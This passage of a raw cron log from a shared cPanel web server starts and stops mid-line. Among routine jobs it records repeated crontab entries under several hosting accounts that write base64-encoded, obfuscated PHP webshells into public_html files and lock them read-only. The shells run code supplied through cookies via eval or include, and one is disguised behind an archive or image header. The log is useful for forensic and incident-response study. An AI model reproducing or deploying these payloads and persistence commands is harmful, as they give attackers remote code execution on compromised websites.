SAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:11:01 medusa CROND[30391]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:11:01 medusa CROND[30392]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:12:01 medusa CROND[32029]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:12:01 medusa CROND[32030]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 15:12:01 medusa CROND[32031]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 15:12:01 medusa CROND[32032]: (energiae) CMD (/opt/cpanel/ea-php74/root/usr/bin/php /home5/energiae/analytics.energiaenmovimiento.com.ar/console core:archive --url=https://analytics.energiaenmovimiento.com.ar/ > /dev/null)
Jun  7 15:12:01 medusa CROND[32033]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:12:01 medusa CROND[32036]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 15:12:01 medusa CROND[32037]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 15:12:01 medusa CROND[32038]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 15:12:01 medusa CROND[32039]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 15:12:01 medusa CROND[32042]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 15:12:01 medusa CROND[32047]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:12:01 medusa CROND[32051]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:12:01 medusa CROND[32061]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 15:12:01 medusa CROND[32063]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 15:12:01 medusa CROND[32049]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 15:13:01 medusa CROND[1771]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 15:13:01 medusa CROND[1810]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 15:13:01 medusa CROND[1827]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 15:13:01 medusa CROND[1828]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Jun  7 15:13:01 medusa CROND[1829]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 15:13:01 medusa CROND[1830]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 15:13:01 medusa CROND[1831]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:13:01 medusa CROND[1832]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 15:13:01 medusa CROND[1834]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 15:13:01 medusa CROND[1838]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:13:01 medusa CROND[1841]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 15:13:01 medusa CROND[1842]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 15:13:01 medusa CROND[1843]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFu